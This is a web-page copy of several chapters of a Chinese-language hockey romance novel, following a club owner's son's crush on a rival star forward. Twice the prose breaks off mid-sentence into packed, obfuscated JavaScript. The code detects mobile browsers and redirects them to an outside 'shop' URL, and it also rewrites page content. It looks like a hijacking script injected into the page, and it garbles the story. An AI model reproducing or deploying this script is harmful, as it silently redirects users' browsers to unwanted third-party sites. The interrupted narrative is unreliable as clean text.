已经被换下来的凯勒布坐在那头咬着后槽牙,眼神像是要杀人。 艾利奥特感觉自己也快被现场气氛感染得要激动起来了,他靠近海莉低声问道:“那个霜咬队的右前锋一直都是这么厉害吗?” 海莉摇摇头,焦虑地啃着自己的大拇指甲:“厉害?江砚就是霜咬队的一条疯狗。我跟你说,这次你算是见识了他最正常的状态。” ------------------------------------------------------ 很快,比赛的第一小节就以霜咬队对嚎狼队二比一的比分结束了,球员们也纷纷顺着通道回休息室里去。艾利奥特也顺便被海莉科普一场球赛一共有三个小节,每个小节20分钟,每小节之间会有中场休息。他坐在这个不舒服的椅子伸了个懒腰,眼神四下寻找那个卖饮料的流动贩卖员。 “我想去休息室找乔什。”海莉开始焦躁不安,“他现在一定很需要我的安慰。” “他现在估计已经得到了咱爸的安慰。”艾利奥特伸手指向冰场跟前的vip席,只见威廉·莫里兰德正站起身随着现场工作人员的指引向后场走去,“我估计他要去休息室和球员们见个面,加油鼓劲之类的。” “真是烦死了,”海莉只得拿起手机开始给乔什发短信,“因为他我连恋爱的自由都没有。” “嗯,”艾利奥特开始感觉口渴,心不在焉地抬头看着冰场上方的大屏幕,导播开始玩kisscam了,“子女的自由恋爱哪里比家族舆论重要呢,对吧。” 话音未落,艾利奥特惊恐地在大屏幕上看到了自己和海莉的脸。 “喔——”现场观众开始起哄他俩亲嘴。 “哦!不!不不不不!”听到起哄的海莉抬起头来,在大屏幕上看到了自己的脸,尖叫一声,身子一滑躲到了椅子下面,“不能让我的脸被拍到!!否则爸爸会杀了我的!!” “不行!不行不行!”艾利奥特的脸红得能滴出血来,他疯狂地打手势做口型,“这是我妹妹!妹妹!我不能亲她!!” 老天啊,他为人处世一向低调,从来没像这样被这么多人同时关注过。此刻的艾利奥特恨不得在地上找个洞钻进去,再用水泥封死。 还好观众们和导播明白了他的意思,没有再过多难为他,很快镜头又转向了别的观众。 “好了吗?过去了吗?”海莉蹲在椅子缝隙里,抬头小声问道。 “过去了……”艾利奥特感觉自己的后背出了一层汗,“上帝啊,你怎么没告诉我中场休息还能把我们当小丑一样玩耍。” “我哪知道坐看台上会有这种风险,我以前都是坐VIP那里的。”海莉抱怨着从下面爬回到椅子上。 “那个该死的流动贩卖员也不知道跑哪里去了。”艾利奥特有些烦躁地站起身来,“懒得等他了,我去那边买点东西喝。你要什么?” “随便什么苏打水就行。”海莉浑身虚弱地坐在椅子上,拿起手机准备继续给乔什发短信。 ------------------------------------------------------ 艾利奥特从没有来过Xcel能源中心,也不知道后场那些四通八达的通道究竟通往何方。他问了工作人员固定餐饮台在哪边,结果顺着指明的方向走过去又找不到路了。 他为难地站在一条陌生的通道里,抬头看着头顶的指示牌。这才发现自己走到了VIP通道和更衣室的后场区域共用的一段走廊。艾利奥特四下打量了一番,只见通往下层包厢的通道附近有一个小型的自动售货角。 “这也行吧。”他耸耸肩,走了过去,掏出手机、按下两罐可乐的按键、ApplePay,“哐”“哐”两声,两罐可乐落在取货口。 艾利奥特蹲下//身子,从取货口里取出可乐,刚站直身子—— “——谢了,伙计。” 一个压迫感十足的高大身影忽然出现在艾利奥特身边,一只骨节突出的强壮的大手伸了过来,从艾利奥特手中拿过那罐可乐,拉开拉环。 艾利奥特茫然地抬起头来,只见一个英俊的穿着深灰色训练服、黑发微湿的年轻亚洲男人站在售货机旁。头顶的灯光从他侧脸滑下来,照亮了他颧骨上一道薄薄的擦伤。他仰头将那罐可乐送到嘴边,喉结上下翻滚。 “……你……”艾利奥特张口结舌,一瞬间不知道自己该怎么发声似的。 他…… 他…… 他看起来太…… 太帅了…… 艾利奥特咽了口口水,感觉脸颊有点发烫,迅速低下头来。 那个年轻的男人像是过了瘾似的长舒一口气,低下头来看向艾利奥特。 “我见过你。”他的声音带着一点点艾利奥特分辨不清的口音,但是又十分低沉悦耳,听得艾利奥特心里痒痒的,“你是刚刚大屏幕上kisscam里那个差点亲了自己妹妹的。” 艾利奥特感觉更丢脸了:“嗯……真是不好意思让你看到笑话了。” 他犹豫着微微抬起头。天啊这个男人实在是太高大了,明明自己5英尺9英寸的身高已经不矮了,这个拿走他可乐的男人身高应该得有6英尺3英寸吧,只有仰起脖子才能看清楚他长什么模样。 “不好意思……我认识你吗?”艾利奥特眨眨眼睛问道。 年轻的亚洲男人听到他这样一问,瞬间哑然失笑:“你不怎么看冰球是不是?” 艾利奥特觉得自己的脸就没有不红的时候,他摇了摇头:“确实没什么机会看。” 亚洲男人看着他红扑扑的脸再加上懵懂的神情,像是确认什么似的盯着他几秒,缓慢地露出一个无奈的笑:“你会记住我的。” “嗯?”艾利奥特没反应过来他是什么意思。 亚洲男人走上前,他身上带来的压迫感使得艾利奥特没忍住后退了一步靠在自动售货机上。 不远处的竞技场内依然能传来一片喧嚣,DJ开始播放KatyPerry的“HummingbirdHeartbeat”,工作人员在远处忙碌。只有这条走廊静的连彼此的呼吸声都清晰可闻。 亚洲男人抬起手指,在艾利奥特的额头上轻轻点了一下:“下一节的时候,注意霜咬队的右前锋。那就是我。” ------------------------------------------------------ “你怎么去了这么久?中场休息都结束了。”海莉皱着眉头看着抱着两罐可乐失魂落魄走回来的艾利奥特。 “嗯……”艾利奥特清清嗓子,“找回来的路花了点时间。”他把那罐没开封的可乐递给了海莉,自己则留下了已经被喝了一半的那罐。 海莉全然没有注意到艾利奥特的不对,她接过可乐,身子兴奋地向前探去,球员们已经开始重新上场了。 艾利奥特将目光重新投回在冰场上,指尖一直在不自觉地摩挲那罐可乐。 “你能再帮我指认一下吗?”艾利奥特有些不自然地靠近海莉,“就是那个,帮我指认,霜咬队的右前锋。” “右前锋?你是说他?”海莉伸手指了过去,“就是第一小节我一直跟你说的,你也说很凶的那个,叫江砚。” 艾利奥特顺着海莉手指的方向,看着江砚优雅地划到冰场上。一手拿着球杆,另一只手潇洒地将头盔戴在了那一头柔顺的黑发上。 他没说什么,只是默默地将那罐可乐举到嘴边,心脏就像失控一般地狂跳着。 3. 03 情报 比赛只剩下最后三十七秒。 Xcel能源中心内部几乎要塌了似的——嚎狼队球迷全部站起,怒吼呐喊着。霜咬队替补席上的队员们紧盯着冰面,空气里弥漫着紧张的电流。 此刻霜咬队在场上的是王牌前锋组,正在攻区争球。 队长兼中锋洛根低身压杆,冰球一落下,他的球杆像捕兽夹一样精准地把球扣到自己脚后。 ——霜咬队控球! 洛根没有急着起速,而是背身护球,像堵墙一样挡住嚎狼队的中锋乔什。他抬眼,迅速寻找那个永远跑得比场上任何人影都要快的右侧身影。 江砚正从蓝线外加速切入,快得就像一道能撕开冷空气的冰蓝色旋风。 洛根的球杆轻轻一拨,那枚小小的黑色冰球顺着弧线滑向右侧。 那不是传给冰面上任何一个人的球,那是一个只有江砚的速度才能接到的球。 而江砚几乎不需要调整。 冰刀擦过冰面的声音尖锐无比,江砚赶在嚎狼队后卫合拢之前把球带入右侧圆顶。 嚎狼队的右前锋凯勒布此刻已经顾不得许多,他死死贴上来,肩膀撞得冰渣迸飞:“江砚你这个狗/娘/养的(Youmotherf*cker…)——” 而江砚于电光火石之间假动作往外拉了一步,诱使凯勒布重心跟着偏移。下一秒他突然换成内切,刀锋在冰面上划出一个极细的弧线。 凯勒布扑了个空,整个人被甩在后侧。 场馆里的观众们爆出一阵惊叫。 江砚此刻已经入无人之境般杀到近门区。嚎狼队门将下意识收缩站位,伸腿封角。 就在所有人以为他要直接起杆射门时,江砚突然余光注意到左侧的空档——洛根已从后排赶到,两人视线就在这千分之一秒间对上。 这一刻无需再多想。 传! 江砚手腕轻巧一抖,球从两名嚎狼队后卫缝隙间滑过去,精准落在洛根球杆前。 冰场像被抽走声音一样安静了一拍。 洛根抬杆。 啪!! 球撞上球网后沿,整个球门猛地一震。 裁判双臂举高。 “Goal!!!!!” 霜咬队替补席瞬间炸开,冰刀敲得挡板震天响。 嚎狼队球迷发出哀鸣般的嘘声。 江砚振臂怒吼,洛根冲上前把这小子的脑袋夹在自己怀里,低声骂笑:“你这混蛋就是等着耍帅对吧?” 江砚在洛根怀里挣扎:“废话,你速度又没我快。” 电子大屏刷新比分: MIN4:5COL 明尼苏达4:5科罗拉多。 倒计时结束。 霜咬队赢了揭幕战。 米夏和其他的队员又吼又叫地摘了头盔扑了过来,将洛根和江砚紧紧抱住围在圆圈中心跳着叫着笑着。 整座球馆的灯光在半空炸开,雪花投影从天穹洒落,比赛彻底收尾。 “嗯……”海莉擦擦眼睛,心疼地看着男友乔什落寞的背影,“只能说我们虽败犹荣,把比分咬得很紧。但是倒霉碰上了江砚和洛根这两个王牌联手……” 她抬起脑袋,看着站在身边发呆的艾利奥特:“你在看什么呢?” “嗯?没什么?”艾利奥特敷衍道,恋恋不舍地把视线从大屏幕上导播给江砚的大特写上离开。他已经摘掉了头盔,那汗湿的黑发、殷红的嘴唇和黑曜石般的双眼,在场馆的灯光下显得亮晶晶的,仿佛是精致的水晶工艺品,“……霜咬队真的很厉害啊。”他低声念叨着,慢慢地坐回到海莉身边。 “虽然我很不愿意承认,但确实是这样。”海莉烦躁地掏出手机,开始给乔什发送安慰短信。 艾利奥特不作声地咬着手指甲,死死盯着场地上和嚎狼队挨个握手的江砚,仿佛这样就能将他的注意力吸引过来似的。 江砚伸手去握凯勒布的手,凯勒布则是瞪着他在冰面上吐了口唾沫:“你就是坨屎,江砚(You''renothingbutapieceofsh*t.)。” 江砚则是明亮地笑着用中文回复:“我骟你爹的狗篮子,个小玩意儿。” 凯勒布没听明白他说的是什么,带着愤怒和疑惑的神情被后面的队友推到一边去了。 米夏凑了过来揽住江砚的腰:“他骂你?”他用浓重的俄语口音简单地问道。 “没有,我把他干翻了,他不开心而已。”江砚同样用带着中式口音的英语简单回应。两个英语半吊子就这样哈哈大笑着勾肩搭背向离场通道滑去。 就在冰刀即将抬起来从冰面转移到地面上那一刻,江砚忽然顿住,回头最后一次在观众看台上回顾一圈,似乎在寻找什么。 “砚?”米夏在前面回头等他,“在等谁吗?” 江砚收回视线,看台上太乱了,什么都看不清楚:“没什么。”他摇头笑笑,跟上了米夏的脚步,“走吧。” 就当今晚那个心跳失控的瞬间是个美丽的意外吧。 “这就是一次意外,”海莉盯着手机怒骂,“凯勒布不小心伤到膝盖了,这才导致没压制住江砚。乔什刚刚告诉我的。” 艾利奥特收回盯着江砚背影离去的眼神,刚刚江砚回头扫视了一圈看台,在扫过他这边时他原本不受控制的心脏几乎在那一刻停止跳动。然而江砚很快就收回视线离开了,这让他内心不禁有点小小的失落。 他低头摩挲着手里那个已经空了的可乐罐子,还在回味自动售货机前的片刻时光。 “乔什跟我说等会要去TheHappyGnome吃东西,你也一起来吧。”海莉收起手机,抓着艾利奥特的胳膊,目光灼灼地看着他。 艾利奥特放下正在咬的手指甲:“你和男友约会为什么我要跟着?” “这个嘛……”海莉讪笑着撇撇嘴,“咱爸给我设置了宵禁,聚完餐我就得赶紧赶回去。但是我总不能让乔什开车送我回家对不对?”她用最纯良的狗狗眼看着宠爱自己的哥哥,“只有你能送我回家了,求求你了~” 艾利奥特叹了口气,他今晚原本有其他的安排。至于是什么安排,他是根本不会告诉他妹妹的。 “嚎狼队的其他队员也会去聚餐,不会只有我和乔什的,你不用担心自己会成为电灯泡。”海莉看着艾利奥特踌躇的模样,连忙说道,“凯勒布也会来,他们都认识你,不会光说什么你听不懂的专业术语。估计只会凑一块骂骂江砚什么的。” 艾利奥特挑挑眉毛:“那我还是和你一去吧,免得他们趁我不在当着你的面说一堆冒犯的脏话什么的。”他欲盖弥彰地加上后面那一句,拉着海莉站起身来。 ------------------------------------------------------ “嘿,砚,看看这个。” 江砚刚把自己的运动包塞进行李架并在自己的座位上坐好,身边的米夏立刻就把手机塞进他的手里。 “很漂亮,你的情人吗?”江砚皱着眉头打量着手机屏幕上那个社交名媛喝多了和男友接吻的照片。 “滚蛋。你竟敢怀疑我对斯维特拉娜的一片深情。”米夏上来梆梆给了江砚两拳,“这个是嚎狼队俱乐部老板女儿,昨晚被拍到和他们队那个叫乔什的中锋约会的照片了。” “这和我们又有什么关系呢?”江砚已经开始觉得困了,在狭小的空间里伸展自己修长的四肢。飞回丹佛需要一个半小时呢,他打算在飞机上好好睡一觉,养精蓄锐迎接接下来和温尼伯暴风(Stormjets)队的对战。 “你好好看看。”米夏很不满意江砚对于吃瓜缺乏兴趣的表现,伸出手指往屏幕下方滑动,“她就是今天比赛第一小节完了之后中场休息时躲椅子下面的那个女孩,旁边坐着她哥哥的那个。” 米夏看着江砚,加重了语气:“她哥哥,就是你盯着屏幕看半天的那个男生。” 江砚精神了,直起身子将手机举高,将已经困得半眯着的眼睛睁得更大了一些。 米夏当然知道他最深处的秘密,除了他也不会有其他人了,甚至队长洛根和他亲妈都不知道。 江砚的手指滑动着屏幕,看着TMZ网站上关于莫里兰德家族的详细报道,包括十年前的他们兄妹俩因为父母的分道扬镳而不得不分开、海莉·莫里兰德这些年来的详细情史——每一任男友的交往和分手的时间点——以及有关艾利奥特·莫里兰德的乏善可陈的寥寥几段文字,大部分还是他USC和UCLA的同学的采访。 「“他是一个很棒的人,我的意思是,拜托你们看看他。”艾利奥特·莫里兰德所在的学习小组的成员萨利·切尔德对我们说道,“他的脸多么可爱,成绩也那么优秀,他简直无可挑剔。”」 江砚硬着头皮用自己勉强过关的英语阅读水平看完这一段,往下滑到艾利奥特在学校里演讲以及毕业典礼上穿着学士服和校长握手的照片。 这就是这篇报道里关于艾利奥特的全部内容了,紧接着报道又转回到了海莉与乔什的恋情上。 “真是个乖宝宝。”江砚念叨着,把手机递还给米夏,“不过,嚎狼俱乐部老板的儿子吗……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307907|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这可不是你以前会遇到的那种人。”米夏收起手机,从空乘人员手里接过热毛巾,“你应该不会和这种老钱家的少爷有什么接触。” 江砚没说话,他仰躺在座位里,双臂环抱在胸前,回忆起自动售货机跟前那羞涩的脸庞、金棕色的头发和灰蓝色的双眼,心跳莫名又开始加速了。 ------------------------------------------------------ “江砚,他就是个混蛋。”凯勒布放下啤酒,第一万次发表重要讲话。 “行了行了,我们知道了。”乔什从凯勒布手里夺过啤酒,把一大盘海陆双拼(Surf&Turf)推到他跟前,“快把这个吃了,补充蛋白。” 艾利奥特用尽浑身解数不表现出自己的不适,小心翼翼地移动着身子远离身边那个像熊一样的嚎狼队后卫:“……所以,”他清清嗓子,故意用一种不怎么在意的语气假装闲聊似的面向乔什·贝内特,“那个江砚,你们很熟?” “很熟很熟。”乔什点点头,他看起来有点憨憨的,很像迪士尼青春校园电影里胸大无脑的橄榄球队队长。此刻他正用自己粗粗的手指拿着刀叉,帮忙把海莉的牛排切成小块,“去年的新秀赛季上我们就经常和他对打,上届NHL明星赛我和他还是一个队的。” “他平常为人处世是什么风格?”艾利奥特感兴趣地向乔什那边靠了靠,“我想搞清楚我们最强劲的对手之一,好帮忙给球队制定未来的训练计划。”他好像生怕乔什会怀疑他似的补充道。 乔什那脑仁显然不会将艾利奥特的话语理解到另一方向,而唯一可能会察觉到艾利奥特不自然的热情的人——海莉——此刻正靠在乔什怀里甜蜜地看着他的侧脸,完全没有在意哥哥在说什么。 “他为人处世的风格……”乔什停下刀叉想了片刻,“他中国来的,英语不是他的母语,平常话不多的样子。不过只有在和凯勒布对骂的时候英语会流畅点,他学英语脏话学得很快。” 艾利奥特忍住一个笑,江砚原本在他心里高大冷峻的形象忽然变得有点可爱起来。 “这个不要逼脸的今天骂我时甚至都没用英语!”凯勒布急匆匆地咽下嘴里那口龙虾迫不及待地补充道,“一天到晚就知道和那个大高个子洛根夹击我,和那个守门的俄国佬嘻嘻哈哈。迟早有一天我一个电话打到移民局,把他和那个俄罗斯人一起驱逐出境。” 艾利奥特回忆起江砚离场时勾肩搭背的那个金发小伙的背影,他俩确实看起来关系很好的模样。 酒馆里开始播放Raye的“WHEREISMYHUSBAND!”,艾利奥特旁边的那个身形巨大的后卫站起来,嘟嘟囔囔地去吧台那边让他们切歌换成邦乔维。 “那个俄国人?和他是好朋友?”艾利奥特依旧用那种闲聊的语气尝试和凯勒布这个年轻气盛的小将搭话。 “对,叫什么米哈伊尔的,听说当初他俩去俄罗斯打青年联赛,差点就加入了KHL,是咱们这边的球探花大价钱才挖过来的。”凯勒布丧气地把刀叉一推,向后靠在椅背上,“把这两个祸害挖来干什么?我们美国人真是蠢到爆了。” 艾利奥特记得凯勒布,这位当年NHL的选秀榜眼。当年他爸威廉·莫里兰德在选秀前抽到了状元签,然而霜咬队的老板却做了个很大胆的决定:只抽到了第三顺位的霜咬队把未来两年的第一轮选秀权外加一个核心后卫都给了嚎狼队,只为换到威廉·莫里兰德手里的那个状元签,拿下江砚。这件事当年闹得很大,连从不关注冰球的艾利奥特都被推送到了这则新闻,只不过当时他只是草草看了眼自家俱乐部换到了谁,根本没有关注霜咬队用尽一切代价换到的状元是哪位。 而凯勒布很明显还在因为这件事在记恨江砚。 艾利奥特缩回身子,又开始咬起自己的指甲。 ------------------------------------------------------ 在亲自把海莉放到莫里兰德庄园门口后,艾利奥特都懒得跟威廉打声招呼就直接驾车开回了北岸摄政酒店。匆匆忙忙脱掉身上的昂贵西装丢在地毯上,连澡都不洗就一头扎进床里,开始履行他今晚没有告诉海莉的那个“安排”。 他拉过柔软的羽绒被盖住自己的脑袋,掏出手机连着点开TikTok、YouTube、Reddit、Instagram还有Google,在每一个搜索框里打下同样的人名。 他越来越对江砚感兴趣了。 这该如何是好? 4. 04 奶昔 2025年,10月13日,早上8:30。 “三比二,科罗拉多霜咬队惜败于温尼伯暴风队。”ESPN直播间主持人放下手中的新闻稿,“小小的失利对于风头正强劲的霜咬队来说并不成问题,右前锋江砚和中锋洛根依旧打出了十分亮眼的组合技。让我们期待两天后他们主场迎战芝加哥铁翼(Ironwings)队的赛事。” 江砚拿起遥控器没好气地关掉了头顶上的电视后又丢到一边,拿起手机把正在播放的FallOutBoy音乐调的更大声了一些,脑袋上的森海塞尔耳机拽下来盖在耳朵上,以求阻绝外界所有的声音来源。弯下腰,活动肩膀,在雪橇车上放了18kg的杠铃片。 “一口气放这么多,不怕肌肉拉伤吗?”米夏走进了健身房,皱着眉头看着江砚苦行僧一般的训练,“我们这可是在赛季中,两天后又有新比赛了。” 江砚戴着耳机听不见米夏在说什么。昨天输给暴风队的场面让他恨得牙根痒痒,更可气的是自己还被洛根拽住没冲上去狠狠地揍那个后卫一顿。他现在整个人浑身上下都散发着不爽的气息。 他两手卡住雪橇车把手,肩膀绷紧,背肌隆起,身子前倾往前推。 吱——咔。 铁制底座碾过地面,像野兽磨牙。 米夏看着好哥们如此沉浸式训练,只得摇摇头自顾自走向划船机那边。 直到十几分钟后江砚大汗淋漓地结束这次高强度爆发式训练,转过头才注意到米夏的存在。那俄罗斯圆脸小伙儿正哼着小曲儿悠然自得地一边用着划船机一边抬头看着电视节目。 “就你还需要训练吗?”江砚摘下耳机,拿起水瓶走到米夏身边席地坐下,身上遍布的汗水使得他闪闪发光,“守门员又没有什么技巧,甚至连滑冰都不用会,在球门前坐着拦球就行。” “哈哈,非常搞笑。”米夏干巴巴地说道,“看来只有下一场比赛赢了,你才能从这种混球状态里脱离出来。” “想要拿到今年NHL的年度最佳新秀奖,我不得不付出比其他人更多的努力伙计。”江砚毫无感情地说着仰起脑袋喝水。 “这就是成为王牌的代价。”米夏倒是自得其乐,打职业联赛已经让他过上了理想生活,他已经别无他求。不过他也深知自己的好兄弟这么拼命的原因,所以他从来不会被江砚古怪的脾气冒犯到。 他俩的性格相差如此之大,以至于队长洛根经常感叹:“你俩是不是国籍换过来了?” 江砚注意到米夏正一边运动一边抬头看头顶上电视里正在播报的体育新闻,顿时又心烦意乱起来:“别看了好吗?看点别的,公共台之类的……”他说着就要伸手去找遥控器。 “别别别,我想看看其他队伍的比赛。”米夏连忙出声阻拦,“我有一哥们儿在温哥华雪隼(Snowhawks)队当后卫,前两天刚和人家干了一架,说不定有他的精彩集锦。” 话音未落,电视屏幕上忽然闪过一个闪光灯不停闪烁的新闻发布会画面,紧接着画外音也跟着响了起来:“当地时间10月12日早10点,明尼苏达嚎狼队因主场揭幕战失利,威廉·莫里兰德罕见现身发布会。” “这都是昨天的旧闻了怎么还在播?”米夏喃喃说道。 而江砚却停下了换台的手。 威廉·莫里兰德,就是嚎狼俱乐部的老板,那不就是那个自动售货机前可爱男生的爹吗? 他放下了原本想换台的手,开始看这种从来都不关注的新闻。 “明尼苏达嚎狼队在主场揭幕战以4:5惜败科罗拉多霜咬队,引发球迷强烈不满,舆论在比赛结束后两天内持续发酵,球队老板威廉·莫里兰德罕见地出现在球队媒体中心,回应外界质疑。” 发布会现场灯光刺眼,记者们的闪光灯几乎没有停过。威廉·莫里兰德一身深灰色定制西装,神情沉稳,语气平缓又不失威严:“首先,我们理解球迷对揭幕战的期望。我们也希望在主场拿下胜利。但这个赛季目前只有一场比赛发生了失误,我们不会用一场比赛给球队下结论。” 他顿了顿,目光扫过镜头:“我们的阵容依旧强大,我们会调整,我们会变得更强。” “放屁,”米夏笑出声,“就凯勒布那沉不住气的样子,下回咱还是按着他打。” 江砚没做声,他仔仔细细地打量着屏幕里这个优雅威严的老白男,似乎想从他身上找出一丝和那个可爱男生相似的地方。 “就在昨晚,嚎狼队不负众望,以四比二的比分赢下与圣荷西利刃(Razorbacks)队的比赛。”新闻持续播报着,画面上闪过凯勒布赢球后举起球杆庆祝的画面。 “嘿,还真叫他们走了狗屎运了。”米夏摇头。 “然而此事并没有给莫里兰德家族带来更多好运,就在12日晚10点30分左右,嚎狼队成员离开SAP中心时,遭到了利刃队球迷的预谋报复。” 电视屏幕上出现一群穿着利刃队球服的狂热球迷拿着乱七八糟的东西朝着准备离场的嚎狼队球员们冲了上去,尽管安保人员迅速进行了阻拦,但球员们和跟随陪同的管理者们还是被泼到了乱七八糟的东西。 “这不是那谁吗?”米夏看着电视叫出了声。 江砚呼吸一滞,咬住嘴唇。 “遭到利刃队球迷埋伏报复的不只有嚎狼队的球员们,当晚陪伴球员一同出战的球队老板威廉·莫里兰德之子——艾利奥特·莫里兰德——也不幸遭到波及。” 艾利奥特的身影出现在了电视屏幕上,画面中一个大高个子球迷大声辱骂着把手中满满一杯奶昔精准地泼到了他的脸上。混着冰碴子的奶昔顺着艾利奥特微卷的金棕色秀发和精致的小脸滑落,他身上那一看就很昂贵的定制西装也变得狼狈不堪。 “非常得体,很棒。”艾利奥特抹了一把脸上的奶昔,讽刺地对那个泼他的球迷说道,“还是我最喜欢的香草口味。”随即安保人员上前一把将那个球迷拖到了一边。 “我的天啊,没想到还有这事儿发生。”米夏已经手软,趴在划船机上哈哈大笑,“不行,我要把这个转发给斯维特拉娜看……” 江砚没有理会米夏,他的后槽牙咬着腮内的软肉,从运动裤里摸出手机,点开平时那些他用来吃体育圈瓜的社交媒体app,他的手心开始冒汗。很快,一堆艾利奥特被泼奶昔的照片出现在了手机屏幕上。 江砚手指划过屏幕放大看细节,艾利奥特那张存在于他记忆中的小脸看起来更帅气了。奶白色的液体顺着他的嘴角和下巴滴落,有一些照片里他甚至用手指在脸上抹了一下奶昔,然后将指尖含进嘴里,对着那些怒火中烧的球迷露出了享受的神态。 “我/草……”江砚感觉气血上涌,刚刚高强度负荷的心脏此时几乎承受不住。 “嗯?”正在跟女友短信聊天的米夏转过头来,“你说什么?” “没什么。”江砚欲盖弥彰地飞速回答道,拿过放在旁边的水瓶、头戴式耳机和擦汗的毛巾,“我先回去……嗯……洗个澡。”他说着,把手上的杂物放在肚脐那一块,飞快地起身离开了。 “呵……”米夏目送着江砚离开,转过身来继续进行健身训练,“这小子一定是回去对着那个洋娃娃小少爷打飞机去了。” ------------------------------------------------------ 艾利奥特坐在机场的VIP休息室里,跟海莉有一搭没一搭地聊天。 “顺便说一句,你的照片已经风靡全网络了。”海莉发送过来一条消息,结尾还加了个wink的emoji。 艾利奥特翻了个白眼:“事实证明,融不进去的圈子就不要硬融。”他咬着下唇发着狠劲按着屏幕,“我哪知道输了球的球迷会这么极端。” “既然咱爸已经开始带你搞这个,你就要随时做好迎接线下自由搏击的准备。”海莉说着发过来一张图片,艾利奥特点开发现是已经被做成meme的自己满脸奶昔的照片,配文:当你和异地恋男友重逢时。 “太好了,起到了非常完美的安慰作用。”艾利奥特嘟哝着,关掉手机在沙发里向后一仰发出长叹。 “怎么了?”威廉·莫里兰德结束了一通电话后走回到VIP休息室问道。 “没、没什么。”艾利奥特迅速在沙发里坐好,“就是有点累。” 威廉点点头,在艾利奥特对面的沙发上坐好。 说实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307908|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话他内心对自己儿子昨晚的遭遇还是十分愧疚的。毕竟艾利奥特刚从洛杉矶回来没几天就开始陪着他一起打理俱乐部。而昨晚原本应该是他去SAP中心观战的,但因为他昨晚有些疲惫所以艾利奥特主动提议自己替他去,结果就这样上了新闻。 自从和妻子离婚后,这十年间艾利奥特回明尼苏达的次数屈指可数,尽管他们父子俩的关系没有疏远到完全不交流的地步,他还是想和艾利奥特把关系拉得更近一点。 而此刻艾利奥特根本没有察觉他的老父亲坐在对面胡思乱想些什么,他拿起手机,尽管眼睛因长时间盯着屏幕而酸涩,但他还是不知道第多少次不受控制地点开TikTok,在搜索框里输入江砚的名字,开始挨个浏览关于他的视频。 仅仅两天的时间,他已经知道了江砚所有的小细节和冷知识。现在如果把他丢进江砚的粉丝论坛里他一定能成为大粉。 他知道江砚来自中国的一个北方城市,15岁就开始打青少年联赛,惯用左手持杆,身高6.3英尺,体重88kg,臂展约两米左右,体脂率在9–11%的范围内。甚至连江砚不爱吃凤尾鱼和爱吃寿司的冷门八卦他都知道。在队内和他关系最好的是守门员米哈伊尔·阿尔乔米耶夫,他俩打青少年联赛时认识的,网上到处都是他和米哈伊尔的cp向视频剪辑。 艾利奥特手指上下滑动,又刷到一个江砚和那个长着讨厌圆脸的俄罗斯小伙的cp向视频剪辑。视频里江砚进球后米哈伊尔第一时间冲了过来从背后抱住他。两个大小伙总是抱在一起嘻嘻哈哈,还一起录更衣室的卡点换装小视频。他撇撇嘴划了过去,想了想又点开搜索框输入米哈伊尔的名字,进入他的个人主页。 江砚没有TikTok账户,但是米哈伊尔有,而且拉着江砚拍了一大堆毫无营养的短视频,他的个人主页简直就是他俩cp粉的狂欢档案库。 艾利奥特的舌尖在口腔内顶起脸颊一侧,挨个点开视频往下滑动。 米哈伊尔把镜头怼在躺在健身房地板上打盹的江砚脸上、米哈伊尔拍摄江砚给肋骨那一侧撞出淤青的部位喷药、米哈伊尔拍摄队长洛根给江砚投喂他最喜欢的奇多。 艾利奥特退出来米哈伊尔的TikTok主页,继续刷江砚的视频,结果下一个视频又是江砚和洛根的cp向视频。 “什么鬼(Whatthef*ck)……”艾利奥特皱起眉头,看着画面中江砚和别人打架受伤,队医上前帮他包扎双手,洛根给他拧开水瓶瓶盖,江砚抬起头来张开嘴,洛根帮忙把水倒进他嘴里。艾利奥特点开评论区: 「哦我的天啊……这也太热辣了……」 「说实话,江砚和洛根的cp更好嗑,他俩都身材爆好的。米夏还是看起来太嫩了。」 「啊妈妈……江砚能这样躺在床上张嘴看着我吗?」 「我的心情:【配图】」 艾利奥特点开图片,结果是自己满脸奶昔的meme。他顿时感到一阵心烦意乱,气呼呼地把手机丢到一边,双臂抱在胸前。 正在手机上查看资讯的威廉抬起头来:“你心情不好?”他的视线落上旁边小桌上的艾利奥特的手机,“你在看霜咬队的江砚?” “啊……对。”艾利奥特赶紧拿回手机,假装稀松平常似的划拉了几下,“他们霜咬队是我们的老对头了,我就想好好了解一下他们。” 听到儿子这么上心,威廉满意地点了点头:“你很用功,这很好。”他说着,从手机上找出来一张赛程表,“下个月我们和霜咬队还有一场比赛,这次是他们主场,我们球队飞去丹佛那边。比赛前一晚有个慈善晚会,不如你也跟着我一起过去见见霜咬队的老板,怎么样?” 艾利奥特接过父亲的手机:“哦,下个月吗?”他故作轻松地问道,“他们球队成员也会去参加那个晚会吗?” “不会全部过去,毕竟也是在赛季中。不过像江砚和洛根那种王牌球员应该会去的,因为要见见赞助商之类的。你要是想认识他俩的话,我可以让霜咬队老板单独给你介绍。”威廉很欣慰自己抓住了和艾利奥特拉近父子关系的机会。 “听起来不错,就这么决定了。”艾利奥特把手机递还给威廉,努力压抑着欣喜跳跃的心脏。 5. 05 电梯 2025年,11月13日,科罗拉多州,丹佛,LoDo区一高级写字楼内。 “截至11月13日,霜咬队目前的战绩为四胜三负。其中右前锋江砚的个人数据为:进球9粒,助攻4次,总计13分。被罚时间长达22分钟。场均射门4-5次、场均冲撞5-6次。媒体对他的评价两极分化,一部分形容他为天才得分手,另一部分形容他为定时炸弹。” 